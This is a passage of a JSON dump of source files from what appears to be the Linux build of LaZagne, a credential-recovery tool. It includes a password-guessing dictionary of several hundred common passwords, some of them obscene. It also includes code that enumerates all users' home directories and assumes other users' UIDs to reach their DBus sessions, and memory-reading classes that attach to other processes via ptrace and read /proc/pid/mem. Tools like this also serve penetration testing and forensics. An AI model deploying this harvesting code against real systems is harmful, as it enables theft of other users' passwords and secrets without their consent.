chunking a stream of bytes\n       into the appropriate block size for the underlying mode of operation\n       and applying (or stripping) padding, as necessary.'''\n\n    def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):\n        self._mode = mode\n        self._feed = feed\n        self._final = final\n        self._buffer = to_bufferable(\"\")\n        self._padding = padding\n\n    def feed(self, data = None):\n        '''Provide bytes to encrypt (or decrypt), returning any bytes\n           possible from this or any previous calls to feed.\n\n           Call with None or an empty string to flush the mode of\n           operation and return any final bytes; no further calls to\n           feed may be made.'''\n\n        if self._buffer is None:\n            raise ValueError('already finished feeder')\n\n        # Finalize; process the spare bytes we were keeping\n        if data is None:\n            result = self._final(self._buffer, self._padding)\n            self._buffer = None\n            return result\n\n        self._buffer += to_bufferable(data)\n\n        # We keep 16 bytes around so we can determine padding\n        result = to_bufferable('')\n        while len(self._buffer) > 16:\n            can_consume = self._mode._can_consume(len(self._buffer) - 16)\n            if can_consume == 0: break\n            result += self._feed(self._buffer[:can_consume])\n            self._buffer = self._buffer[can_consume:]\n\n        return result\n\n\nclass Encrypter(BlockFeeder):\n    'Accepts bytes of plaintext and returns encrypted ciphertext.'\n\n    def __init__(self, mode, padding = PADDING_DEFAULT):\n        BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)\n\n\nclass Decrypter(BlockFeeder):\n    'Accepts bytes of ciphertext and returns decrypted plaintext.'\n\n    def __init__(self, mode, padding = PADDING_DEFAULT):\n        BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)\n\n\n# 8kb blocks\nBLOCK_SIZE = (1 << 13)\n\ndef _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):\n    'Uses feeder to read and convert from in_stream and write to out_stream.'\n\n    while True:\n        chunk = in_stream.read(block_size)\n        if not chunk:\n            break\n        converted = feeder.feed(chunk)\n        out_stream.write(converted)\n    converted = feeder.feed()\n    out_stream.write(converted)\n\n\ndef encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):\n    'Encrypts a stream of bytes from in_stream to out_stream using mode.'\n\n    encrypter = Encrypter(mode, padding = padding)\n    _feed_stream(encrypter, in_stream, out_stream, block_size)\n\n\ndef decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):\n    'Decrypts a stream of bytes from in_stream to out_stream using mode.'\n\n    decrypter = Decrypter(mode, padding = padding)\n    _feed_stream(decrypter, in_stream, out_stream, block_size)\n"
  },
  {
    "path": "Linux/lazagne/config/crypto/pyaes/util.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# Why to_bufferable?\n# Python 3 is very different from Python 2.x when it comes to strings of text\n# and strings of bytes; in Python 3, strings of bytes do not exist, instead to\n# represent arbitrary binary data, we must use the \"bytes\" object. This method\n# ensures the object behaves as we need it to.\n\ndef to_bufferable(binary):\n    return binary\n\ndef _get_byte(c):\n    return ord(c)\n\ntry:\n    xrange\nexcept NameError:\n\n    def to_bufferable(binary):\n        if isinstance(binary, bytes):\n            return binary\n        return bytes(ord(b) for b in binary)\n\n    def _get_byte(c):\n        return c\n\ndef append_PKCS7_padding(data):\n    pad = 16 - (len(data) % 16)\n    return data + to_bufferable(chr(pad) * pad)\n\ndef strip_PKCS7_padding(data):\n    if len(data) % 16 != 0:\n        raise ValueError(\"invalid length\")\n\n    pad = _get_byte(data[-1])\n\n    if pad > 16:\n        raise ValueError(\"invalid padding byte\")\n\n    return data[:-pad]\n"
  },
  {
    "path": "Linux/lazagne/config/dico.py",
    "content": "def get_dic():\n    return [\n        b\"password\",\n        b\"123456\",\n        b\"12345678\",\n        b\"1234\",\n        b\"qwerty\",\n        b\"12345\",\n        b\"dragon\",\n        b\"pussy\",\n        b\"baseball\",\n        b\"football\",\n        b\"letmein\",\n        b\"monkey\",\n        b\"696969\",\n        b\"abc123\",\n        b\"mustang\",\n        b\"michael\",\n        b\"shadow\",\n        b\"master\",\n        b\"jennifer\",\n        b\"111111\",\n        b\"2000\",\n        b\"jordan\",\n        b\"superman\",\n        b\"harley\",\n        b\"1234567\",\n        b\"fuckme\",\n        b\"hunter\",\n        b\"fuckyob\",\n        b\"trustno1\",\n        b\"ranger\",\n        b\"buster\",\n        b\"thomas\",\n        b\"tigger\",\n        b\"robert\",\n        b\"soccer\",\n        b\"fuck\",\n        b\"batman\",\n        b\"test\",\n        b\"pass\",\n        b\"killer\",\n        b\"hockey\",\n        b\"george\",\n        b\"charlie\",\n        b\"andrew\",\n        b\"michelle\",\n        b\"love\",\n        b\"sunshine\",\n        b\"jessica\",\n        b\"asshole\",\n        b\"6969\",\n        b\"pepper\",\n        b\"daniel\",\n        b\"access\",\n        b\"123456789\",\n        b\"654321\",\n        b\"joshua\",\n        b\"maggie\",\n        b\"starwars\",\n        b\"silver\",\n        b\"william\",\n        b\"dallas\",\n        b\"yankees\",\n        b\"123123\",\n        b\"ashley\",\n        b\"666666\",\n        b\"hello\",\n        b\"amanda\",\n        b\"orange\",\n        b\"biteme\",\n        b\"freedom\",\n        b\"computer\",\n        b\"sexy\",\n        b\"thunder\",\n        b\"nicole\",\n        b\"ginger\",\n        b\"heather\",\n        b\"hammer\",\n        b\"summer\",\n        b\"corvette\",\n        b\"taylor\",\n        b\"fucker\",\n        b\"austin\",\n        b\"1111\",\n        b\"merlin\",\n        b\"matthew\",\n        b\"121212\",\n        b\"golfer\",\n        b\"cheese\",\n        b\"princess\",\n        b\"martin\",\n        b\"chelsea\",\n        b\"patrick\",\n        b\"richard\",\n        b\"diamond\",\n        b\"yellow\",\n        b\"bigdog\",\n        b\"secret\",\n        b\"asdfgh\",\n        b\"sparky\",\n        b\"cowboy\",\n        b\"camaro\",\n        b\"anthony\",\n        b\"matrix\",\n        b\"falcon\",\n        b\"iloveyob\",\n        b\"bailey\",\n        b\"guitar\",\n        b\"jackson\",\n        b\"purple\",\n        b\"scooter\",\n        b\"phoenix\",\n        b\"aaaaaa\",\n        b\"morgan\",\n        b\"tigers\",\n        b\"porsche\",\n        b\"mickey\",\n        b\"maverick\",\n        b\"cookie\",\n        b\"nascar\",\n        b\"peanut\",\n        b\"justin\",\n        b\"131313\",\n        b\"money\",\n        b\"horny\",\n        b\"samantha\",\n        b\"panties\",\n        b\"steelers\",\n        b\"joseph\",\n        b\"snoopy\",\n        b\"boomer\",\n        b\"whatever\",\n        b\"iceman\",\n        b\"smokey\",\n        b\"gateway\",\n        b\"dakota\",\n        b\"cowboys\",\n        b\"eagles\",\n        b\"chicken\",\n        b\"dick\",\n        b\"black\",\n        b\"zxcvbn\",\n        b\"please\",\n        b\"andrea\",\n        b\"ferrari\",\n        b\"knight\",\n        b\"hardcore\",\n        b\"melissa\",\n        b\"compaq\",\n        b\"coffee\",\n        b\"booboo\",\n        b\"bitch\",\n        b\"johnny\",\n        b\"bulldog\",\n        b\"xxxxxx\",\n        b\"welcome\",\n        b\"james\",\n        b\"player\",\n        b\"ncc1701\",\n        b\"wizard\",\n        b\"scooby\",\n        b\"charles\",\n        b\"junior\",\n        b\"internet\",\n        b\"bigdick\",\n        b\"mike\",\n        b\"brandy\",\n        b\"tennis\",\n        b\"blowjob\",\n        b\"banana\",\n        b\"monster\",\n        b\"spider\",\n        b\"lakers\",\n        b\"miller\",\n        b\"rabbit\",\n        b\"enter\",\n        b\"mercedes\",\n        b\"brandon\",\n        b\"steven\",\n        b\"fender\",\n        b\"john\",\n        b\"yamaha\",\n        b\"diablo\",\n        b\"chris\",\n        b\"boston\",\n        b\"tiger\",\n        b\"marine\",\n        b\"chicago\",\n        b\"rangers\",\n        b\"gandalf\",\n        b\"winter\",\n        b\"bigtits\",\n        b\"barney\",\n        b\"edward\",\n        b\"raiders\",\n        b\"porn\",\n        b\"badboy\",\n        b\"blowme\",\n        b\"spanky\",\n        b\"bigdaddy\",\n        b\"johnson\",\n        b\"chester\",\n        b\"london\",\n        b\"midnight\",\n        b\"blue\",\n        b\"fishing\",\n        b\"000000\",\n        b\"hannah\",\n        b\"slayer\",\n        b\"11111111\",\n        b\"rachel\",\n        b\"sexsex\",\n        b\"redsox\",\n        b\"thx1138\",\n        b\"asdf\",\n        b\"marlboro\",\n        b\"panther\",\n        b\"zxcvbnm\",\n        b\"arsenal\",\n        b\"oliver\",\n        b\"qazwsx\",\n        b\"mother\",\n        b\"victoria\",\n        b\"7777777\",\n        b\"jasper\",\n        b\"angel\",\n        b\"david\",\n        b\"winner\",\n        b\"crystal\",\n        b\"golden\",\n        b\"butthead\",\n        b\"viking\",\n        b\"jack\",\n        b\"iwantb\",\n        b\"shannon\",\n        b\"murphy\",\n        b\"angels\",\n        b\"prince\",\n        b\"cameron\",\n        b\"girls\",\n        b\"madison\",\n        b\"wilson\",\n        b\"carlos\",\n        b\"hooters\",\n        b\"willie\",\n        b\"startrek\",\n        b\"captain\",\n        b\"maddog\",\n        b\"jasmine\",\n        b\"butter\",\n        b\"booger\",\n        b\"angela\",\n        b\"golf\",\n        b\"lauren\",\n        b\"rocket\",\n        b\"tiffany\",\n        b\"theman\",\n        b\"dennis\",\n        b\"liverpoo\",\n        b\"flower\",\n        b\"forever\",\n        b\"green\",\n        b\"jackie\",\n        b\"muffin\",\n        b\"turtle\",\n        b\"sophie\",\n        b\"danielle\",\n        b\"redskins\",\n        b\"toyota\",\n        b\"jason\",\n        b\"sierra\",\n        b\"winston\",\n        b\"debbie\",\n        b\"giants\",\n        b\"packers\",\n        b\"newyork\",\n        b\"jeremy\",\n        b\"casper\",\n        b\"bubba\",\n        b\"112233\",\n        b\"sandra\",\n        b\"lovers\",\n        b\"mountain\",\n        b\"united\",\n        b\"cooper\",\n        b\"driver\",\n        b\"tucker\",\n        b\"helpme\",\n        b\"fucking\",\n        b\"pookie\",\n        b\"lucky\",\n        b\"maxwell\",\n        b\"8675309\",\n        b\"bear\",\n        b\"suckit\",\n        b\"gators\",\n        b\"5150\",\n        b\"222222\",\n        b\"shithead\",\n        b\"fuckoff\",\n        b\"jaguar\",\n        b\"monica\",\n        b\"fred\",\n        b\"happy\",\n        b\"hotdog\",\n        b\"tits\",\n        b\"gemini\",\n        b\"lover\",\n        b\"xxxxxxxx\",\n        b\"777777\",\n        b\"canada\",\n        b\"nathan\",\n        b\"victor\",\n        b\"florida\",\n        b\"88888888\",\n        b\"nicholas\",\n        b\"rosebud\",\n        b\"metallic\",\n        b\"doctor\",\n        b\"trouble\",\n        b\"success\",\n        b\"stupid\",\n        b\"tomcat\",\n        b\"warrior\",\n        b\"peaches\",\n        b\"apples\",\n        b\"fish\",\n        b\"qwertyui\",\n        b\"magic\",\n        b\"buddy\",\n        b\"dolphins\",\n        b\"rainbow\",\n        b\"gunner\",\n        b\"987654\",\n        b\"freddy\",\n        b\"alexis\",\n        b\"braves\",\n        b\"cock\",\n        b\"2112\",\n        b\"1212\",\n        b\"cocacola\",\n        b\"xavier\",\n        b\"dolphin\",\n        b\"testing\",\n        b\"bond007\",\n        b\"member\",\n        b\"calvin\",\n        b\"voodoo\",\n        b\"7777\",\n        b\"samson\",\n        b\"alex\",\n        b\"apollo\",\n        b\"fire\",\n        b\"tester\",\n        b\"walter\",\n        b\"beavis\",\n        b\"voyager\",\n        b\"peter\",\n        b\"porno\",\n        b\"bonnie\",\n        b\"rush2112\",\n        b\"beer\",\n        b\"apple\",\n        b\"scorpio\",\n        b\"jonathan\",\n        b\"skippy\",\n        b\"sydney\",\n        b\"scott\",\n        b\"red123\",\n        b\"power\",\n        b\"gordon\",\n        b\"travis\",\n        b\"beaver\",\n        b\"star\",\n        b\"jackass\",\n        b\"flyers\",\n        b\"boobs\",\n        b\"232323\",\n        b\"zzzzzz\",\n        b\"steve\",\n        b\"rebecca\",\n        b\"scorpion\",\n        b\"doggie\",\n        b\"legend\",\n        b\"ou812\",\n        b\"yankee\",\n        b\"blazer\",\n        b\"bill\",\n        b\"runner\",\n        b\"birdie\",\n        b\"bitches\",\n        b\"555555\",\n        b\"parker\",\n        b\"topgun\",\n        b\"asdfasdf\",\n        b\"heaven\",\n        b\"viper\",\n        b\"animal\",\n        b\"2222\",\n        b\"bigboy\",\n        b\"4444\",\n        b\"arthur\",\n        b\"baby\",\n        b\"private\",\n        b\"godzilla\",\n        b\"donald\",\n        b\"williams\",\n        b\"lifehack\",\n        b\"phantom\",\n        b\"dave\",\n        b\"rock\",\n        b\"august\",\n        b\"sammy\",\n        b\"cool\",\n        b\"brian\",\n        b\"platinum\",\n        b\"jake\",\n        b\"bronco\",\n        b\"paul\",\n        b\"mark\",\n        b\"frank\",\n        b\"heka6w2\",\n        b\"copper\",\n        b\"billy\",\n        b\"cumshot\",\n        b\"garfield\",\n        b\"willow\",\n        b\"cunt\",\n        b\"little\",\n        b\"carter\",\n        b\"slut\",\n        b\"albert\",\n        b\"69696969\",\n        b\"kitten\",\n        b\"super\",\n        b\"jordan23\",\n        b\"eagle1\",\n        b\"shelby\",\n        b\"america\",\n        b\"11111\",\n        b\"jessie\",\n        b\"house\",\n        b\"free\",\n        b\"123321\",\n        b\"chevy\",\n        b\"bullshit\",\n        b\"white\",\n        b\"broncos\",\n        b\"horney\",\n        b\"surfer\",\n        b\"nissan\",\n        b\"999999\",\n        b\"saturn\",\n        b\"airborne\",\n        b\"elephant\",\n        b\"marvin\",\n        b\"shit\",\n        b\"action\",\n        b\"adidas\",\n        b\"qwert\",\n        b\"kevin\",\n        b\"1313\",\n        b\"explorer\",\n        b\"walker\",\n        b\"police\",\n        b\"christin\",\n        b\"december\",\n        b\"benjamin\",\n        b\"wolf\",\n        b\"sweet\",\n        b\"therock\",\n        b\"king\",\n        b\"online\",\n        b\"dickhead\",\n        b\"brooklyn\",\n        b\"teresa\",\n        b\"cricket\",\n        b\"sharon\",\n        b\"dexter\",\n        b\"racing\",\n        b\"penis\",\n        b\"gregory\",\n        b\"0000\",\n        b\"teens\",\n        b\"redwings\",\n        b\"dreams\",\n        b\"michigan\",\n        b\"hentai\",\n        b\"magnum\",\n        b\"87654321\",\n        b\"nothing\",\n        b\"donkey\",\n        b\"trinity\",\n        b\"digital\",\n        b\"333333\",\n        b\"stella\",\n        b\"cartman\",\n        b\"guinness\",\n        b\"123abc\",\n        b\"speedy\",\n        b\"buffalo\",\n        b\"kitty\"]\n"
  },
  {
    "path": "Linux/lazagne/config/homes.py",
    "content": "import pwd\nimport os\n\n\ndef directories():\n    \"\"\"\n    Retrieve all users' homes\n    \"\"\"\n    visited = set()\n\n    # Get all user data stored on the Unix Password Database\n    for pw in pwd.getpwall():\n        if pw.pw_dir not in visited:\n            yield pw.pw_dir\n            visited.add(pw.pw_dir)\n\n    # Get current user home\n    if 'HOME' in os.environ:\n        home = os.environ['HOME']\n        if home not in visited:\n            yield home\n            visited.add(home)\n\n\ndef get(file=[], directory=[]):\n    \"\"\"\n    List all existing directoryectories / files found on the disk (for all users)\n    using homes.get(directory=.mozilla/firefox)\n    will return if enough privilege: [\"/home/user1/.mozilla/firefox\", \"/home/user2/.mozilla/firefox\"]\n    \"\"\"\n    files = file if (type(file) in (tuple, list)) else [file]\n    dirs = directory if (type(directory) in (tuple, list)) else [directory]\n\n    for p in directories():\n        if files:\n            for file in files:\n                if os.path.isfile(os.path.join(p, file)):\n                    yield os.path.join(p, file)\n\n        if dirs:\n            for d in dirs:\n                if os.path.isdir(os.path.join(p, d)):\n                    yield os.path.join(p, d)\n\n        if not files and not dirs and os.path.isdir(p):\n            yield p\n\n\ndef users(file=[], directory=[]):\n    files = file if (type(file) in (tuple, list)) else [file]\n    dirs = directory if (type(directory) in (tuple, list)) else [directory]\n\n    for pw in pwd.getpwall():\n        if files:\n            for file in files:\n                if os.path.isfile(os.path.join(pw.pw_dir, file)):\n                    yield pw.pw_name, os.path.join(pw.pw_dir, file)\n\n        if dirs:\n            for directory in dirs:\n                if os.path.isdir(os.path.join(pw.pw_dir, directory)):\n                    yield pw.pw_name, os.path.join(pw.pw_dir, directory)\n\n        if not files and not dirs and os.path.isdir(pw.pw_dir):\n            yield pw.pw_name, pw.pw_dir\n\n\ndef get_linux_env(pid):\n    try:\n        with open('/proc/%d/environ' % (int(pid))) as env:\n            records = [\n                record.split('=', 1) for record in env.read().split('\\x00')\n            ]\n\n            return {\n                record[0]: record[1] for record in records if len(record) == 2\n            }\n    except Exception:\n        return {}\n\n\ndef sessions(setenv=True):\n    import psutil\n\n    visited = set()\n\n    try:\n        for process in psutil.process_iter():\n            try:\n                if hasattr(process, 'environ'):\n                    environ = process.environ()\n                else:\n                    # Fallback to manual linux-only method\n                    # if psutils is very old\n                    environ = get_linux_env(process.pid)\n            except Exception:\n                continue\n\n            if 'DBUS_SESSION_BUS_ADDRESS' not in environ:\n                continue\n\n            address = environ['DBUS_SESSION_BUS_ADDRESS']\n            if address not in visited:\n                uid = process.uids().effective\n                previous = None\n                previous_uid = None\n\n                if setenv:\n                    previous_uid = os.geteuid()\n\n                    if not uid == previous_uid:\n                        try:\n                            os.seteuid(uid)\n                        except Exception:\n                            continue\n\n                    if 'DBUS_SESSION_BUS_ADDRESS' in os.environ:\n                        previous = os.environ['DBUS_SESSION_BUS_ADDRESS']\n\n                    os.environ['DBUS_SESSION_BUS_ADDRESS'] = address\n\n                try:\n                    yield (uid, address)\n                except Exception:\n                    pass\n                finally:\n                    if setenv:\n                        if previous:\n                            os.environ['DBUS_SESSION_BUS_ADDRESS'] = previous\n                        else:\n                            del os.environ['DBUS_SESSION_BUS_ADDRESS']\n\n                        if previous_uid != uid:\n                            try:\n                                os.seteuid(previous_uid)\n                            except Exception:\n                                pass\n\n                    visited.add(address)\n\n    except AttributeError:\n        # Fix AttributeError: 'module' object has no attribute 'process_iter'\n        pass\n\n    # Problems occured with this block of code => permission denied to lots of file even with sudo\n    # for session_bus_directory in get(directory='.dbus/session-bus'):\n    #     for envs in os.listdir(session_bus_directory):\n    #         try:\n    #             env_file = os.path.join(session_bus_directory, envs)\n    #             uid = os.stat(env_file).st_uid\n    #             with open(env_file) as env:\n    #                 for line in env.readlines():\n    #                     if not line.startswith('DBUS_SESSION_BUS_ADDRESS'):\n    #                         continue\n    #\n    #                     if line.startswith('#'):\n    #                         continue\n    #\n    #                     _, v = line.split('=', 1)\n    #\n    #                     if v.startswith(\"'\") or v.startswith('\"'):\n    #                         v = v[1:-1]\n    #\n    #                     if v in visited:\n    #                         continue\n    #\n    #                     if setenv:\n    #                         previous_uid = os.geteuid()\n    #                         if not previous_uid == uid:\n    #                             try:\n    #                                 os.seteuid(uid)\n    #                             except Exception:\n    #                                 continue\n    #\n    #                         previous = os.environ['DBUS_SESSION_BUS_ADDRESS']\n    #                         os.environ['DBUS_SESSION_BUS_ADDRESS'] = address\n    #\n    #                     try:\n    #                         yield (uid, v)\n    #\n    #                     finally:\n    #\n    #                         if setenv:\n    #                             os.environ['DBUS_SESSION_BUS_ADDRESS'] = previous\n    #                             if previous_uid != uid:\n    #                                 try:\n    #                                     os.seteuid(previous_uid)\n    #                                 except Exception:\n    #                                     pass\n    #\n    #         except Exception:\n    #             pass\n"
  },
  {
    "path": "Linux/lazagne/config/lib/__init__.py",
    "content": ""
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/Address.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom .utils import *\n\nclass AddressException(Exception):\n    pass\n\n\nclass Address(object):\n    \"\"\" this class is used to have better representation of memory addresses \"\"\"\n\n    def __init__(self, value, process, default_type = 'uint'):\n        self.value = int(value)\n        self.process = process\n        self.default_type = default_type\n        self.symbolic_name = None\n\n    def read(self, type = None, maxlen = None, errors='raise'):\n        if maxlen is None:\n            try:\n                int(type)\n                maxlen = int(type)\n                type = None\n            except:\n                pass\n\n        if not type:\n            type = self.default_type\n        if not maxlen:\n            return self.process.read(self.value, type=type, errors=errors)\n        else:\n            return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors)\n\n    def write(self, data, type = None):\n        if not type:\n            type = self.default_type\n        return self.process.write(self.value, data, type=type)\n\n    def symbol(self):\n        return self.process.get_symbolic_name(self.value)\n\n    def get_instruction(self):\n        return self.process.get_instruction(self.value)\n\n    def dump(self, ftype = 'bytes', size = 512, before = 32):\n        buf = self.process.read_bytes(self.value - before, size)\n        print(hex_dump(buf, self.value - before, ftype=ftype))\n\n    def __nonzero__(self):\n        return self.value is not None and self.value != 0\n\n    def __add__(self, other):\n        return Address(self.value + int(other), self.process, self.default_type)\n\n    def __sub__(self, other):\n        return Address(self.value - int(other), self.process, self.default_type)\n\n    def __repr__(self):\n        if not self.symbolic_name:\n            self.symbolic_name = self.symbol()\n        return str('<Addr: %s' % self.symbolic_name + '>')\n\n    def __str__(self):\n        if not self.symbolic_name:\n            self.symbolic_name = self.symbol()\n        return str('<Addr: %s' % self.symbolic_name + ' : \"%s\" (%s)>' % (str(self.read()).encode('unicode_escape'), self.default_type))\n\n    def __int__(self):\n        return int(self.value)\n\n    def __hex__(self):\n        return hex(self.value)\n\n    def __get__(self, instance, owner):\n        return self.value\n\n    def __set__(self, instance, value):\n        self.value = int(value)\n\n    def __lt__(self, other):\n        return self.value < int(other)\n\n    def __le__(self, other):\n        return self.value <= int(other)\n\n    def __eq__(self, other):\n        return self.value == int(other)\n\n    def __ne__(self, other):\n        return self.value != int(other)\n\n    def __gt__(self, other):\n        return self.value > int(other)\n\n    def __ge__(self, other):\n        return self.value >= int(other)\n\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/BaseProcess.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nimport struct\n\nfrom .utils import *\n\n\n\"\"\" Base class for process not linked to any platform \"\"\"\n\nclass ProcessException(Exception):\n    pass\n\nclass BaseProcess(object):\n\n    def __init__(self, *args, **kwargs):\n        \"\"\" Create and Open a process object from its pid or from its name \"\"\"\n        self.h_process = None\n        self.pid = None\n        self.isProcessOpen = False\n        self.buffer = None\n        self.bufferlen = 0\n\n    def __del__(self):\n        self.close()\n\n    def close(self):\n        pass\n    def iter_region(self, *args, **kwargs):\n        raise NotImplementedError\n    def write_bytes(self, address, data):\n        raise NotImplementedError\n\n    def read_bytes(self, address, bytes = 4):\n        raise NotImplementedError\n\n    def get_symbolic_name(self, address):\n        return '0x%08X' % int(address)\n\n    def read(self, address, type = 'uint', maxlen = 50, errors='raise'):\n        if type == 's' or type == 'string':\n            s = self.read_bytes(int(address), bytes=maxlen)\n\n            try:\n                idx = s.index(b'\\x00')\n                return s[:idx]\n            except:\n                if errors == 'ignore':\n                    return s\n\n                raise ProcessException('string > maxlen')\n\n        else:\n            if type == 'bytes' or type == 'b':\n                return self.read_bytes(int(address), bytes=maxlen)\n            s, l = type_unpack(type)\n            return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0]\n\n    def write(self, address, data, type = 'uint'):\n        if type != 'bytes':\n            s, l = type_unpack(type)\n            return self.write_bytes(int(address), struct.pack(s, data))\n        else:\n            return self.write_bytes(int(address), data)\n   \n\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/LinProcess.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nimport copy\nimport struct\n# import utils\nimport platform\nimport ctypes, re, sys\nfrom ctypes import create_string_buffer, byref, c_int, c_void_p, c_long, c_size_t, c_ssize_t, POINTER, get_errno\nimport errno\nimport os\nimport signal\nfrom .BaseProcess import BaseProcess, ProcessException\nfrom .structures import *\nimport logging\n\nlogger = logging.getLogger('memorpy')\n\nlibc=ctypes.CDLL(\"libc.so.6\", use_errno=True)\nget_errno_loc = libc.__errno_location\nget_errno_loc.restype = POINTER(c_int)\n\ndef errcheck(ret, func, args):\n    if ret == -1:\n        _errno = get_errno() or errno.EPERM\n        raise OSError(os.strerror(_errno))\n    return ret\n\nc_ptrace = libc.ptrace\nc_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t\nc_ptrace.argtypes = [c_int, c_pid_t, c_void_p, c_void_p]\nc_ptrace.restype = c_long\nmprotect = libc.mprotect\nmprotect.restype = c_int\nmprotect.argtypes = [c_void_p, c_size_t, c_int]\nLARGE_FILE_SUPPORT=False\ntry:\n    c_off64_t=ctypes.c_longlong\n    lseek64 = libc.lseek64\n    lseek64.argtypes = [c_int, c_off64_t, c_int]\n    lseek64.errcheck=errcheck\n    open64 = libc.open64\n    open64.restype = c_int\n    open64.argtypes = [c_void_p, c_int]\n    open64.errcheck=errcheck\n    pread64=libc.pread64\n    pread64.argtypes = [c_int, c_void_p, c_size_t, c_off64_t]\n    pread64.restype = c_ssize_t\n    pread64.errcheck=errcheck\n    c_close=libc.close\n    c_close.argtypes = [c_int]\n    c_close.restype = c_int\n    LARGE_FILE_SUPPORT=True\nexcept:\n    logger.warning(\"no Large File Support\")\n\nclass LinProcess(BaseProcess):\n    def __init__(self, pid=None, name=None, debug=True, ptrace=None):\n        \"\"\" Create and Open a process object from its pid or from its name \"\"\"\n        super(LinProcess, self).__init__()\n        self.mem_file=None\n        self.ptrace_started=False\n        if pid is not None:\n            self.pid=pid\n        elif name is not None:\n            self.pid=LinProcess.pid_from_name(name)\n        else:\n            raise ValueError(\"You need to instanciate process with at least a name or a pid\")\n        if ptrace is None:\n            if os.getuid()==0:\n                self.read_ptrace=False # no need to ptrace the process when root to read memory\n            else:\n                self.read_ptrace=True\n        self._open()\n\n    def check_ptrace_scope(self):\n        \"\"\" check ptrace scope and raise an exception if privileges are unsufficient\n\n        The sysctl settings (writable only with CAP_SYS_PTRACE) are:\n\n        0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other\n            process running under the same uid, as long as it is dumpable (i.e.\n            did not transition uids, start privileged, or have called\n            prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is\n            unchanged.\n\n        1 - restricted ptrace: a process must have a predefined relationship\n            with the inferior it wants to call PTRACE_ATTACH on. By default,\n            this relationship is that of only its descendants when the above\n            classic criteria is also met. To change the relationship, an\n            inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare\n            an allowed debugger PID to call PTRACE_ATTACH on the inferior.\n            Using PTRACE_TRACEME is unchanged.\n\n        2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace\n            with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.\n\n        3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via\n            PTRACE_TRACEME. Once set, this sysctl value cannot be changed.\n        \"\"\"\n        try:\n            with open(\"/proc/sys/kernel/yama/ptrace_scope\",'rb') as f:\n                ptrace_scope=int(f.read().strip())\n            if ptrace_scope==3:\n                logger.warning(\"yama/ptrace_scope == 3 (no attach). :/\")\n            if os.getuid()==0:\n                return\n            elif ptrace_scope == 1:\n                logger.warning(\"yama/ptrace_scope == 1 (restricted). you can't ptrace other process ... get root\")\n            elif ptrace_scope == 2:\n                logger.warning(\"yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACE\")\n\n        except IOError:\n            pass\n\n        except Exception as e:\n            logger.warning(\"Error getting ptrace_scope ?? : %s\"%e)\n\n    def close(self):\n        if self.mem_file:\n            if not LARGE_FILE_SUPPORT:\n                self.mem_file.close()\n            else:\n                c_close(self.mem_file)\n            self.mem_file=None\n        if self.ptrace_started:\n            self.ptrace_detach()\n\n    def __del__(self):\n        self.close()\n\n    def _open(self):\n        self.isProcessOpen = True\n        self.check_ptrace_scope()\n        if os.getuid()!=0:\n            #to raise an exception if ptrace is not allowed\n            self.ptrace_attach()\n            self.ptrace_detach()\n\n        #open file descriptor\n        if not LARGE_FILE_SUPPORT:\n            self.mem_file=open(\"/proc/\" + str(self.pid) + \"/mem\", 'rb', 0)\n        else:\n            path=create_string_buffer(b\"/proc/%d/mem\" % self.pid)\n            self.mem_file=open64(byref(path), 